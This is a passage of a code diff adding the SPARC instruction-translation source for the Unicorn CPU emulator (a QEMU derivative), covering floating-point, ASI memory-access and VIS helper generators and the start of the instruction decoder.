inline void gen_ne_fop_QQ(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_ptr)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_op_load_fpr_QT1(dc, QFPREG(rs)); + + gen(tcg_ctx, tcg_ctx->cpu_env); + + gen_op_store_QT0_fpr(dc, QFPREG(rd)); + gen_update_fprs_dirty(dc, QFPREG(rd)); +} +#endif + +static inline void gen_fop_QQQ(DisasContext *dc, int rd, int rs1, int rs2, + void (*gen)(TCGContext *tcg_ctx, TCGv_ptr)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + gen_op_load_fpr_QT0(dc, QFPREG(rs1)); + gen_op_load_fpr_QT1(dc, QFPREG(rs2)); + + gen(tcg_ctx, tcg_ctx->cpu_env); + + gen_op_store_QT0_fpr(dc, QFPREG(rd)); + gen_update_fprs_dirty(dc, QFPREG(rd)); +} + +static inline void gen_fop_DFF(DisasContext *dc, int rd, int rs1, int rs2, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_ptr, TCGv_i32, TCGv_i32)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst; + TCGv_i32 src1, src2; + + src1 = gen_load_fpr_F(dc, rs1); + src2 = gen_load_fpr_F(dc, rs2); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env, src1, src2); + + gen_store_fpr_D(dc, rd, dst); +} + +static inline void gen_fop_QDD(DisasContext *dc, int rd, int rs1, int rs2, + void (*gen)(TCGContext *tcg_ctx, TCGv_ptr, TCGv_i64, TCGv_i64)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 src1, src2; + + src1 = gen_load_fpr_D(dc, rs1); + src2 = gen_load_fpr_D(dc, rs2); + + gen(tcg_ctx, tcg_ctx->cpu_env, src1, src2); + + gen_op_store_QT0_fpr(dc, QFPREG(rd)); + gen_update_fprs_dirty(dc, QFPREG(rd)); +} + +#ifdef TARGET_SPARC64 +static inline void gen_fop_DF(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_ptr, TCGv_i32)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst; + TCGv_i32 src; + + src = gen_load_fpr_F(dc, rs); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env, src); + + gen_store_fpr_D(dc, rd, dst); +} +#endif + +static inline void gen_ne_fop_DF(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_ptr, TCGv_i32)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst; + TCGv_i32 src; + + src = gen_load_fpr_F(dc, rs); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env, src); + + gen_store_fpr_D(dc, rd, dst); +} + +static inline void gen_fop_FD(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_i32, TCGv_ptr, TCGv_i64)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 dst; + TCGv_i64 src; + + src = gen_load_fpr_D(dc, rs); + dst = gen_dest_fpr_F(dc); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env, src); + + gen_store_fpr_F(dc, rd, dst); +} + +static inline void gen_fop_FQ(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_i32, TCGv_ptr)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 dst; + + gen_op_load_fpr_QT1(dc, QFPREG(rs)); + dst = gen_dest_fpr_F(dc); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env); + + gen_store_fpr_F(dc, rd, dst); +} + +static inline void gen_fop_DQ(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_i64, TCGv_ptr)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst; + + gen_op_load_fpr_QT1(dc, QFPREG(rs)); + dst = gen_dest_fpr_D(dc, rd); + + gen(tcg_ctx, dst, tcg_ctx->cpu_env); + + gen_store_fpr_D(dc, rd, dst); +} + +static inline void gen_ne_fop_QF(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_ptr, TCGv_i32)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 src; + + src = gen_load_fpr_F(dc, rs); + + gen(tcg_ctx, tcg_ctx->cpu_env, src); + + gen_op_store_QT0_fpr(dc, QFPREG(rd)); + gen_update_fprs_dirty(dc, QFPREG(rd)); +} + +static inline void gen_ne_fop_QD(DisasContext *dc, int rd, int rs, + void (*gen)(TCGContext *tcg_ctx, TCGv_ptr, TCGv_i64)) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 src; + + src = gen_load_fpr_D(dc, rs); + + gen(tcg_ctx, tcg_ctx->cpu_env, src); + + gen_op_store_QT0_fpr(dc, QFPREG(rd)); + gen_update_fprs_dirty(dc, QFPREG(rd)); +} + +/* asi moves */ +#ifdef TARGET_SPARC64 +static inline TCGv_i32 gen_get_asi(DisasContext *dc, int insn, TCGv r_addr) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + int asi; + TCGv_i32 r_asi; + + if (IS_IMM) { + r_asi = tcg_temp_new_i32(tcg_ctx); + tcg_gen_mov_i32(tcg_ctx, r_asi, tcg_ctx->cpu_asi); + } else { + asi = GET_FIELD(insn, 19, 26); + r_asi = tcg_const_i32(tcg_ctx, asi); + } + return r_asi; +} + +static inline void gen_ld_asi(DisasContext *dc, TCGv dst, TCGv addr, int insn, int size, + int sign) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size, r_sign; + + r_asi = gen_get_asi(dc, insn, addr); + r_size = tcg_const_i32(tcg_ctx, size); + r_sign = tcg_const_i32(tcg_ctx, sign); + gen_helper_ld_asi(tcg_ctx, dst, tcg_ctx->cpu_env, addr, r_asi, r_size, r_sign); + tcg_temp_free_i32(tcg_ctx, r_sign); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); +} + +static inline void gen_st_asi(DisasContext *dc, TCGv src, TCGv addr, int insn, int size) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size; + + r_asi = gen_get_asi(dc, insn, addr); + r_size = tcg_const_i32(tcg_ctx, size); + gen_helper_st_asi(tcg_ctx, tcg_ctx->cpu_env, addr, src, r_asi, r_size); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); +} + +static inline void gen_ldf_asi(DisasContext *dc, TCGv addr, int insn, int size, int rd) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size, r_rd; + + r_asi = gen_get_asi(dc, insn, addr); + r_size = tcg_const_i32(tcg_ctx, size); + r_rd = tcg_const_i32(tcg_ctx, rd); + gen_helper_ldf_asi(tcg_ctx, tcg_ctx->cpu_env, addr, r_asi, r_size, r_rd); + tcg_temp_free_i32(tcg_ctx, r_rd); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); +} + +static inline void gen_stf_asi(DisasContext *dc, TCGv addr, int insn, int size, int rd) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size, r_rd; + + r_asi = gen_get_asi(dc, insn, addr); + r_size = tcg_const_i32(tcg_ctx, size); + r_rd = tcg_const_i32(tcg_ctx, rd); + gen_helper_stf_asi(tcg_ctx, tcg_ctx->cpu_env, addr, r_asi, r_size, r_rd); + tcg_temp_free_i32(tcg_ctx, r_rd); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); +} + +static inline void gen_swap_asi(DisasContext *dc, TCGv dst, TCGv src, TCGv addr, int insn) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size, r_sign; + TCGv_i64 t64 = tcg_temp_new_i64(tcg_ctx); + + r_asi = gen_get_asi(dc, insn, addr); + r_size = tcg_const_i32(tcg_ctx, 4); + r_sign = tcg_const_i32(tcg_ctx, 0); + gen_helper_ld_asi(tcg_ctx, t64, tcg_ctx->cpu_env, addr, r_asi, r_size, r_sign); + tcg_temp_free_i32(tcg_ctx, r_sign); + gen_helper_st_asi(tcg_ctx, tcg_ctx->cpu_env, addr, src, r_asi, r_size); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); + tcg_gen_trunc_i64_tl(tcg_ctx, dst, t64); + tcg_temp_free_i64(tcg_ctx, t64); +} + +static inline void gen_ldda_asi(DisasContext *dc, TCGv hi, TCGv addr, + int insn, int rd) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_rd; + + r_asi = gen_get_asi(dc, insn, addr); + r_rd = tcg_const_i32(tcg_ctx, rd); + gen_helper_ldda_asi(tcg_ctx, tcg_ctx->cpu_env, addr, r_asi, r_rd); + tcg_temp_free_i32(tcg_ctx, r_rd); + tcg_temp_free_i32(tcg_ctx, r_asi); +} + +static inline void gen_stda_asi(DisasContext *dc, TCGv hi, TCGv addr, + int insn, int rd) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size; + TCGv lo = gen_load_gpr(dc, rd + 1); + TCGv_i64 t64 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_concat_tl_i64(tcg_ctx, t64, lo, hi); + r_asi = gen_get_asi(dc, insn, addr); + r_size = tcg_const_i32(tcg_ctx, 8); + gen_helper_st_asi(tcg_ctx, tcg_ctx->cpu_env, addr, t64, r_asi, r_size); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); + tcg_temp_free_i64(tcg_ctx, t64); +} + +static inline void gen_casx_asi(DisasContext *dc, TCGv addr, + TCGv val2, int insn, int rd) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv val1 = gen_load_gpr(dc, rd); + TCGv dst = gen_dest_gpr(dc, rd); + TCGv_i32 r_asi = gen_get_asi(dc, insn, addr); + + gen_helper_casx_asi(tcg_ctx, dst, tcg_ctx->cpu_env, addr, val1, val2, r_asi); + tcg_temp_free_i32(tcg_ctx, r_asi); + gen_store_gpr(dc, rd, dst); +} + +#elif !defined(CONFIG_USER_ONLY) + +static inline void gen_ld_asi(DisasContext *dc, TCGv dst, TCGv addr, int insn, int size, + int sign) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size, r_sign; + TCGv_i64 t64 = tcg_temp_new_i64(tcg_ctx); + + r_asi = tcg_const_i32(tcg_ctx, GET_FIELD(insn, 19, 26)); + r_size = tcg_const_i32(tcg_ctx, size); + r_sign = tcg_const_i32(tcg_ctx, sign); + gen_helper_ld_asi(tcg_ctx, t64, tcg_ctx->cpu_env, addr, r_asi, r_size, r_sign); + tcg_temp_free_i32(tcg_ctx, r_sign); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); + tcg_gen_trunc_i64_tl(tcg_ctx, dst, t64); + tcg_temp_free_i64(tcg_ctx, t64); +} + +static inline void gen_st_asi(DisasContext *dc, TCGv src, TCGv addr, int insn, int size) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size; + TCGv_i64 t64 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_extu_tl_i64(tcg_ctx, t64, src); + r_asi = tcg_const_i32(tcg_ctx, GET_FIELD(insn, 19, 26)); + r_size = tcg_const_i32(tcg_ctx, size); + gen_helper_st_asi(tcg_ctx, tcg_ctx->cpu_env, addr, t64, r_asi, r_size); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); + tcg_temp_free_i64(tcg_ctx, t64); +} + +static inline void gen_swap_asi(DisasContext *dc, TCGv dst, TCGv src, TCGv addr, int insn) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size, r_sign; + TCGv_i64 r_val, t64; + + r_asi = tcg_const_i32(tcg_ctx, GET_FIELD(insn, 19, 26)); + r_size = tcg_const_i32(tcg_ctx, 4); + r_sign = tcg_const_i32(tcg_ctx, 0); + t64 = tcg_temp_new_i64(tcg_ctx); + gen_helper_ld_asi(tcg_ctx, t64, tcg_ctx->cpu_env, addr, r_asi, r_size, r_sign); + tcg_temp_free(tcg_ctx, r_sign); + r_val = tcg_temp_new_i64(tcg_ctx); + tcg_gen_extu_tl_i64(tcg_ctx, r_val, src); + gen_helper_st_asi(tcg_ctx, tcg_ctx->cpu_env, addr, r_val, r_asi, r_size); + tcg_temp_free_i64(tcg_ctx, r_val); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); + tcg_gen_trunc_i64_tl(tcg_ctx, dst, t64); + tcg_temp_free_i64(tcg_ctx, t64); +} + +static inline void gen_ldda_asi(DisasContext *dc, TCGv hi, TCGv addr, + int insn, int rd) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size, r_sign; + TCGv t; + TCGv_i64 t64; + + r_asi = tcg_const_i32(tcg_ctx, GET_FIELD(insn, 19, 26)); + r_size = tcg_const_i32(tcg_ctx, 8); + r_sign = tcg_const_i32(tcg_ctx, 0); + t64 = tcg_temp_new_i64(tcg_ctx); + gen_helper_ld_asi(tcg_ctx, t64, tcg_ctx->cpu_env, addr, r_asi, r_size, r_sign); + tcg_temp_free_i32(tcg_ctx, r_sign); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); + + t = gen_dest_gpr(dc, rd + 1); + tcg_gen_trunc_i64_tl(tcg_ctx, t, t64); + gen_store_gpr(dc, rd + 1, t); + + tcg_gen_shri_i64(tcg_ctx, t64, t64, 32); + tcg_gen_trunc_i64_tl(tcg_ctx, hi, t64); + tcg_temp_free_i64(tcg_ctx, t64); + gen_store_gpr(dc, rd, hi); +} + +static inline void gen_stda_asi(DisasContext *dc, TCGv hi, TCGv addr, + int insn, int rd) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_asi, r_size; + TCGv lo = gen_load_gpr(dc, rd + 1); + TCGv_i64 t64 = tcg_temp_new_i64(tcg_ctx); + + tcg_gen_concat_tl_i64(tcg_ctx, t64, lo, hi); + r_asi = tcg_const_i32(tcg_ctx, GET_FIELD(insn, 19, 26)); + r_size = tcg_const_i32(tcg_ctx, 8); + gen_helper_st_asi(tcg_ctx, tcg_ctx->cpu_env, addr, t64, r_asi, r_size); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); + tcg_temp_free_i64(tcg_ctx, t64); +} +#endif + +#if !defined(CONFIG_USER_ONLY) || defined(TARGET_SPARC64) +static inline void gen_cas_asi(DisasContext *dc, TCGv addr, + TCGv val2, int insn, int rd) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv val1 = gen_load_gpr(dc, rd); + TCGv dst = gen_dest_gpr(dc, rd); +#ifdef TARGET_SPARC64 + TCGv_i32 r_asi = gen_get_asi(dc, insn, addr); +#else + TCGv_i32 r_asi = tcg_const_i32(tcg_ctx, GET_FIELD(insn, 19, 26)); +#endif + + gen_helper_cas_asi(tcg_ctx, dst, tcg_ctx->cpu_env, addr, val1, val2, r_asi); + tcg_temp_free_i32(tcg_ctx, r_asi); + gen_store_gpr(dc, rd, dst); +} + +static inline void gen_ldstub_asi(DisasContext *dc, TCGv dst, TCGv addr, int insn) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 r_val; + TCGv_i32 r_asi, r_size; + + gen_ld_asi(dc, dst, addr, insn, 1, 0); + + r_val = tcg_const_i64(tcg_ctx, 0xffULL); + r_asi = tcg_const_i32(tcg_ctx, GET_FIELD(insn, 19, 26)); + r_size = tcg_const_i32(tcg_ctx, 1); + gen_helper_st_asi(tcg_ctx, tcg_ctx->cpu_env, addr, r_val, r_asi, r_size); + tcg_temp_free_i32(tcg_ctx, r_size); + tcg_temp_free_i32(tcg_ctx, r_asi); + tcg_temp_free_i64(tcg_ctx, r_val); +} +#endif + +static TCGv get_src1(DisasContext *dc, unsigned int insn) +{ + unsigned int rs1 = GET_FIELD(insn, 13, 17); + return gen_load_gpr(dc, rs1); +} + +static TCGv get_src2(DisasContext *dc, unsigned int insn) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + if (IS_IMM) { /* immediate */ + target_long simm = GET_FIELDs(insn, 19, 31); + TCGv t = get_temp_tl(dc); + tcg_gen_movi_tl(tcg_ctx, t, simm); + return t; + } else { /* register */ + unsigned int rs2 = GET_FIELD(insn, 27, 31); + return gen_load_gpr(dc, rs2); + } +} + +#ifdef TARGET_SPARC64 +static void gen_fmovs(DisasContext *dc, DisasCompare *cmp, int rd, int rs) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 c32, zero, dst, s1, s2; + + /* We have two choices here: extend the 32 bit data and use movcond_i64, + or fold the comparison down to 32 bits and use movcond_i32. Choose + the later. */ + c32 = tcg_temp_new_i32(tcg_ctx); + if (cmp->is_bool) { + tcg_gen_trunc_i64_i32(tcg_ctx, c32, cmp->c1); + } else { + TCGv_i64 c64 = tcg_temp_new_i64(tcg_ctx); + tcg_gen_setcond_i64(tcg_ctx, cmp->cond, c64, cmp->c1, cmp->c2); + tcg_gen_trunc_i64_i32(tcg_ctx, c32, c64); + tcg_temp_free_i64(tcg_ctx, c64); + } + + s1 = gen_load_fpr_F(dc, rs); + s2 = gen_load_fpr_F(dc, rd); + dst = gen_dest_fpr_F(dc); + zero = tcg_const_i32(tcg_ctx, 0); + + tcg_gen_movcond_i32(tcg_ctx, TCG_COND_NE, dst, c32, zero, s1, s2); + + tcg_temp_free_i32(tcg_ctx, c32); + tcg_temp_free_i32(tcg_ctx, zero); + gen_store_fpr_F(dc, rd, dst); +} + +static void gen_fmovd(DisasContext *dc, DisasCompare *cmp, int rd, int rs) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i64 dst = gen_dest_fpr_D(dc, rd); + tcg_gen_movcond_i64(tcg_ctx, cmp->cond, dst, cmp->c1, cmp->c2, + gen_load_fpr_D(dc, rs), + gen_load_fpr_D(dc, rd)); + gen_store_fpr_D(dc, rd, dst); +} + +static void gen_fmovq(DisasContext *dc, DisasCompare *cmp, int rd, int rs) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + int qd = QFPREG(rd); + int qs = QFPREG(rs); + + tcg_gen_movcond_i64(tcg_ctx, cmp->cond, tcg_ctx->cpu_fpr[qd / 2], cmp->c1, cmp->c2, + tcg_ctx->cpu_fpr[qs / 2], tcg_ctx->cpu_fpr[qd / 2]); + tcg_gen_movcond_i64(tcg_ctx, cmp->cond, tcg_ctx->cpu_fpr[qd / 2 + 1], cmp->c1, cmp->c2, + tcg_ctx->cpu_fpr[qs / 2 + 1], tcg_ctx->cpu_fpr[qd / 2 + 1]); + + gen_update_fprs_dirty(dc, qd); +} + +static inline void gen_load_trap_state_at_tl(DisasContext *dc, TCGv_ptr r_tsptr, TCGv_ptr cpu_env) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv_i32 r_tl = tcg_temp_new_i32(tcg_ctx); + + /* load env->tl into r_tl */ + tcg_gen_ld_i32(tcg_ctx, r_tl, cpu_env, offsetof(CPUSPARCState, tl)); + + /* tl = [0 ... MAXTL_MASK] where MAXTL_MASK must be power of 2 */ + tcg_gen_andi_i32(tcg_ctx, r_tl, r_tl, MAXTL_MASK); + + /* calculate offset to current trap state from env->ts, reuse r_tl */ + tcg_gen_muli_i32(tcg_ctx, r_tl, r_tl, sizeof (trap_state)); + tcg_gen_addi_ptr(tcg_ctx, r_tsptr, cpu_env, offsetof(CPUSPARCState, ts)); + + /* tsptr = env->ts[env->tl & MAXTL_MASK] */ + { + TCGv_ptr r_tl_tmp = tcg_temp_new_ptr(tcg_ctx); + tcg_gen_ext_i32_ptr(tcg_ctx, r_tl_tmp, r_tl); + tcg_gen_add_ptr(tcg_ctx, r_tsptr, r_tsptr, r_tl_tmp); + tcg_temp_free_ptr(tcg_ctx, r_tl_tmp); + } + + tcg_temp_free_i32(tcg_ctx, r_tl); +} + +static void gen_edge(DisasContext *dc, TCGv dst, TCGv s1, TCGv s2, + int width, bool cc, bool left) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv lo1, lo2, t1, t2; + uint64_t amask, tabl, tabr; + int shift, imask, omask; + + if (cc) { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src, s1); + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_src2, s2); + tcg_gen_sub_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_cc_dst, s1, s2); + tcg_gen_movi_i32(tcg_ctx, tcg_ctx->cpu_cc_op, CC_OP_SUB); + dc->cc_op = CC_OP_SUB; + } + + /* Theory of operation: there are two tables, left and right (not to + be confused with the left and right versions of the opcode). These + are indexed by the low 3 bits of the inputs. To make things "easy", + these tables are loaded into two constants, TABL and TABR below. + The operation index = (input & imask) << shift calculates the index + into the constant, while val = (table >> index) & omask calculates + the value we're looking for. */ + switch (width) { + case 8: + imask = 0x7; + shift = 3; + omask = 0xff; + if (left) { + tabl = 0x80c0e0f0f8fcfeffULL; + tabr = 0xff7f3f1f0f070301ULL; + } else { + tabl = 0x0103070f1f3f7fffULL; + tabr = 0xfffefcf8f0e0c080ULL; + } + break; + case 16: + imask = 0x6; + shift = 1; + omask = 0xf; + if (left) { + tabl = 0x8cef; + tabr = 0xf731; + } else { + tabl = 0x137f; + tabr = 0xfec8; + } + break; + case 32: + imask = 0x4; + shift = 0; + omask = 0x3; + if (left) { + tabl = (2 << 2) | 3; + tabr = (3 << 2) | 1; + } else { + tabl = (1 << 2) | 3; + tabr = (3 << 2) | 2; + } + break; + default: + abort(); + } + + lo1 = tcg_temp_new(tcg_ctx); + lo2 = tcg_temp_new(tcg_ctx); + tcg_gen_andi_tl(tcg_ctx, lo1, s1, imask); + tcg_gen_andi_tl(tcg_ctx, lo2, s2, imask); + tcg_gen_shli_tl(tcg_ctx, lo1, lo1, shift); + tcg_gen_shli_tl(tcg_ctx, lo2, lo2, shift); + + t1 = tcg_const_tl(tcg_ctx, tabl); + t2 = tcg_const_tl(tcg_ctx, tabr); + tcg_gen_shr_tl(tcg_ctx, lo1, t1, lo1); + tcg_gen_shr_tl(tcg_ctx, lo2, t2, lo2); + tcg_gen_andi_tl(tcg_ctx, dst, lo1, omask); + tcg_gen_andi_tl(tcg_ctx, lo2, lo2, omask); + + amask = -8; + if (AM_CHECK(dc)) { + amask &= 0xffffffffULL; + } + tcg_gen_andi_tl(tcg_ctx, s1, s1, amask); + tcg_gen_andi_tl(tcg_ctx, s2, s2, amask); + + /* We want to compute + dst = (s1 == s2 ? lo1 : lo1 & lo2). + We've already done dst = lo1, so this reduces to + dst &= (s1 == s2 ? -1 : lo2) + Which we perform by + lo2 |= -(s1 == s2) + dst &= lo2 + */ + tcg_gen_setcond_tl(tcg_ctx, TCG_COND_EQ, t1, s1, s2); + tcg_gen_neg_tl(tcg_ctx, t1, t1); + tcg_gen_or_tl(tcg_ctx, lo2, lo2, t1); + tcg_gen_and_tl(tcg_ctx, dst, dst, lo2); + + tcg_temp_free(tcg_ctx, lo1); + tcg_temp_free(tcg_ctx, lo2); + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, t2); +} + +static void gen_alignaddr(DisasContext *dc, TCGv dst, TCGv s1, TCGv s2, bool left) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + TCGv tmp = tcg_temp_new(tcg_ctx); + + tcg_gen_add_tl(tcg_ctx, tmp, s1, s2); + tcg_gen_andi_tl(tcg_ctx, dst, tmp, -8); + if (left) { + tcg_gen_neg_tl(tcg_ctx, tmp, tmp); + } + tcg_gen_deposit_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_gsr, *(TCGv *)tcg_ctx->cpu_gsr, tmp, 0, 3); + + tcg_temp_free(tcg_ctx, tmp); +} + +static void gen_faligndata(TCGContext *tcg_ctx, TCGv dst, TCGv gsr, TCGv s1, TCGv s2) +{ + TCGv t1, t2, shift; + + t1 = tcg_temp_new(tcg_ctx); + t2 = tcg_temp_new(tcg_ctx); + shift = tcg_temp_new(tcg_ctx); + + tcg_gen_andi_tl(tcg_ctx, shift, gsr, 7); + tcg_gen_shli_tl(tcg_ctx, shift, shift, 3); + tcg_gen_shl_tl(tcg_ctx, t1, s1, shift); + + /* A shift of 64 does not produce 0 in TCG. Divide this into a + shift of (up to 63) followed by a constant shift of 1. */ + tcg_gen_xori_tl(tcg_ctx, shift, shift, 63); + tcg_gen_shr_tl(tcg_ctx, t2, s2, shift); + tcg_gen_shri_tl(tcg_ctx, t2, t2, 1); + + tcg_gen_or_tl(tcg_ctx, dst, t1, t2); + + tcg_temp_free(tcg_ctx, t1); + tcg_temp_free(tcg_ctx, t2); + tcg_temp_free(tcg_ctx, shift); +} +#endif + +#define CHECK_IU_FEATURE(dc, FEATURE) \ + if (!((dc)->def->features & CPU_FEATURE_ ## FEATURE)) \ + goto illegal_insn; +#define CHECK_FPU_FEATURE(dc, FEATURE) \ + if (!((dc)->def->features & CPU_FEATURE_ ## FEATURE)) \ + goto nfpu_insn; + +/* before an instruction, dc->pc must be static */ +static void disas_sparc_insn(DisasContext * dc, unsigned int insn, bool hook_insn) +{ + TCGContext *tcg_ctx = dc->uc->tcg_ctx; + unsigned int opc, rs1, rs2, rd; + TCGv cpu_src1, cpu_src2; + TCGv_i32 cpu_src1_32, cpu_src2_32, cpu_dst_32; + TCGv_i64 cpu_src1_64, cpu_src2_64, cpu_dst_64; + target_long simm; + + if (unlikely(qemu_loglevel_mask(CPU_LOG_TB_OP | CPU_LOG_TB_OP_OPT))) { + tcg_gen_debug_insn_start(tcg_ctx, dc->pc); + } + + // Unicorn: trace this instruction on request + if (hook_insn && HOOK_EXISTS_BOUNDED(dc->uc, UC_HOOK_CODE, dc->pc)) { + gen_uc_tracecode(tcg_ctx, 4, UC_HOOK_CODE_IDX, dc->uc, dc->pc); + // the callback might want to stop emulation immediately + check_exit_request(tcg_ctx); + } + + opc = GET_FIELD(insn, 0, 1); + rd = GET_FIELD(insn, 2, 6); + + switch (opc) { + case 0: /* branches/sethi */ + { + unsigned int xop = GET_FIELD(insn, 7, 9); + int32_t target; + switch (xop) { +#ifdef TARGET_SPARC64 + case 0x1: /* V9 BPcc */ + { + int cc; + + target = GET_FIELD_SP(insn, 0, 18); + target = sign_extend(target, 19); + target <<= 2; + cc = GET_FIELD_SP(insn, 20, 21); + if (cc == 0) + do_branch(dc, target, insn, 0); + else if (cc == 2) + do_branch(dc, target, insn, 1); + else + goto illegal_insn; + goto jmp_insn; + } + case 0x3: /* V9 BPr */ + { + target = GET_FIELD_SP(insn, 0, 13) | + (GET_FIELD_SP(insn, 20, 21) << 14); + target = sign_extend(target, 16); + target = (int32_t)((uint32_t)target << 2); + cpu_src1 = get_src1(dc, insn); + do_branch_reg(dc, target, insn, cpu_src1); + goto jmp_insn; + } + case 0x5: /* V9 FBPcc */ + { + int cc = GET_FIELD_SP(insn, 20, 21); + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + target = GET_FIELD_SP(insn, 0, 18); + target = sign_extend(target, 19); + target = (int32_t)((uint32_t)target << 2); + do_fbranch(dc, target, insn, cc); + goto jmp_insn; + } +#else + case 0x7: /* CBN+x */ + { + goto ncp_insn; + } +#endif + case 0x2: /* BN+x */ + { + target = GET_FIELD(insn, 10, 31); + target = sign_extend(target, 22); + target = (int32_t)((uint32_t)target << 2); + do_branch(dc, target, insn, 0); + goto jmp_insn; + } + case 0x6: /* FBN+x */ + { + if (gen_trap_ifnofpu(dc)) { + goto jmp_insn; + } + target = GET_FIELD(insn, 10, 31); + target = sign_extend(target, 22); + target = (int32_t)((uint32_t)target << 2); + do_fbranch(dc, target, insn, 0); + goto jmp_insn; + } + case 0x4: /* SETHI */ + /* Special-case %g0 because that's the canonical nop. */ + if (rd) { + uint32_t value = GET_FIELD(insn, 10, 31); + TCGv t = gen_dest_gpr(dc, rd); + tcg_gen_movi_tl(tcg_ctx, t, value << 10); + gen_store_gpr(dc, rd, t); + } + break; + case 0x0: /* UNIMPL */ + default: + goto illegal_insn; + } + break; + } + break; + case 1: /*CALL*/ + { + target_long target = (int)(((unsigned int)(GET_FIELDs(insn, 2, 31))) << 2); + TCGv o7 = gen_dest_gpr(dc, 15); + + tcg_gen_movi_tl(tcg_ctx, o7, dc->pc); + gen_store_gpr(dc, 15, o7); + target += dc->pc; + gen_mov_pc_npc(dc); +#ifdef TARGET_SPARC64 + if (unlikely(AM_CHECK(dc))) { + target &= 0xffffffffULL; + } +#endif + dc->npc = target; + } + goto jmp_insn; + case 2: /* FPU & Logical Operations */ + { + unsigned int xop = GET_FIELD(insn, 7, 12); + TCGv cpu_dst = get_temp_tl(dc); + TCGv cpu_tmp0; + + if (xop == 0x3a) { /* generate trap */ + int cond = GET_FIELD(insn, 3, 6); + 